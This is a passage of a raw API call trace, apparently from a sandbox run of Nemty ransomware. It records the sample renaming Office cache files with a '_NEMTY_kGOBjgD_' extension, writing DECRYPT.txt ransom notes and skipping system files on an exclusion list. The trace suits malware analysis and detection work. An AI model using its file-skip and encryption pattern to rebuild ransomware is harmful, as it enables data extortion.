SetFilePointer (in: hFile=0x3c8, lDistanceToMove=16683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x412b [0050.562] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.562] CloseHandle (hObject=0x3c8) returned 1 [0050.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0050.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0050.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.563] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd15cef30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd15cef30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd15cef30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0050.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0050.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0050.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0050.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0050.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0050.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0050.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0050.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0050.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0050.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0050.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.565] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd15cef30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd15cef30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd15cef30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0050.565] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0050.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0050.565] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0050.565] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0050.566] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0050.566] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0050.566] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0050.566] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0050.566] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0050.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0057-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0050.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0057-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{91140000-0057-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0050.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0057-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0050.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-0057-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{91140000-0057-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0050.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0050.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0050.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0050.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0050.569] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.569] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0050.570] CloseHandle (hObject=0x3c4) returned 1 [0050.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0050.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0050.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0050.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0050.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0050.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0050.572] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.572] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0050.573] CloseHandle (hObject=0x3c4) returned 1 [0050.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0050.573] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd1cccfd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd1cccfd0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0050.573] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.573] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd1cccfd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd1cccfd0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0050.573] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.573] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.573] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="...") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="$RECYCLE.BIN") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="rsa") returned -1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="NTDETECT.COM") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntldr") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSDOS.SYS") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="IO.SYS") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot.ini") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot.ini") returned 1 [0050.573] lstrcmpiW (lpString1="Office32WW.msi", lpString2="AUTOEXEC.BAT") returned 1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="desktop.ini") returned 1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="CONFIG.SYS") returned 1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="RECYCLER") returned -1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="BOOTSECT.BAK") returned 1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="programdata") returned -1 [0050.574] lstrcmpiW (lpString1="Office32WW.msi", lpString2="appdata") returned 1 [0050.574] RtlAllocateHeap 